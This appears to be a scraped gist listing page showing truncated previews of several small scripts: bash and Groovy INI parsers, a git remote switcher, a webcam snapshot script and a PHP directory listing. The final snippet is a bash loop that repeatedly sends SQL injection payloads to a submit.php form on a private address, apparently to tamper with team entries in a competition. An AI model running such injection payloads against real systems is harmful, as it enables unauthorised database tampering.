This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function parse_ini() { | |
local varname="${1}" | |
local ini_source=$(cat -) | |
declare -gA "${varname}" | |
local IFS_BAK="${IFS}"; | |
IFS=$'\n'; | |
for section in $(echo "${ini_source}" | grep -Po '(?<=\[).*(?=\])'); do | |
for option_value in $(echo "${ini_source}" | grep -Pazo "(?s)(?<=\[${section}\])(.*?)(?=\[|$)" | tr -d '\000' | grep "="); do | |
option="$(echo "${option_value}" | cut -d "=" -f 1)"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
regex="(https:\/\/|git@)github.com(\/|:)(.+)\/(.+).git" | |
remote="origin" | |
result="https" | |
if [ ! -z "$1" ]; then | |
if [ "$1" == "https" -o "$1" == "ssh" ]; then | |
result="$1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class INIParser { | |
def structure = [:] | |
def INIParser(iniString) { | |
parse(iniString); | |
} | |
def parse(iniSource) { | |
structure = [:]; | |
iniSource.findAll(~/(?s)\[(.+?)\]\s*(.*?)\s*(?=\[|$)/) { match, section, items -> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
NOW=$(TZ='America/Chicago' date +%Y-%m-%d_%H%M) | |
FILENAME=/path/to/directory/image_$NOW.png | |
STREAMURL=http://127.0.0.1:6000/video.mjpg | |
ffmpeg -i "$STREAMURL" -f image2 -vframes 1 "$FILENAME" | |
convert "$FILENAME" -gravity SouthEast -pointsize 22 -fill white -annotate +10+10 "$NOW" "$FILENAME" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$username = ""; //Empty String Disables Username | |
$password = "BADPASSWORDHERE"; | |
$directory = "./"; | |
$remove = ["index.php",".index.swp",".index.php.swp"]; | |
function get_directory_listing($directory = array(),$remove = array()) | |
{ | |
if(file_exists($directory)) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
while true; do | |
curl --data "TeamName=forge';#&Enabled=1&Submit=Submit+Query" http://10.168.230.52/submit.php | |
curl --data "TeamName=blue beetle';#&Enabled=NULL&Submit=Submit+Query" http://10.168.230.52/submit.php | |
curl --data "TeamName=cyborg';#&Enabled=NULL&Submit=Submit+Query" http://10.168.230.52/submit.php | |
curl --data "TeamName=red tornado';#&Enabled=NULL&Submit=Submit+Query" http://10.168.230.52/submit.php | |
curl --data "TeamName=vision';#&Enabled=NULL&Submit=Submit+Query" http://10.168.230.52/submit.php | |
# curl --data "TeamName=ulton';#&Enabled=NULL&Submit=Submit+Query" http://10.168.230.52/submit.php | |
sleep 2 |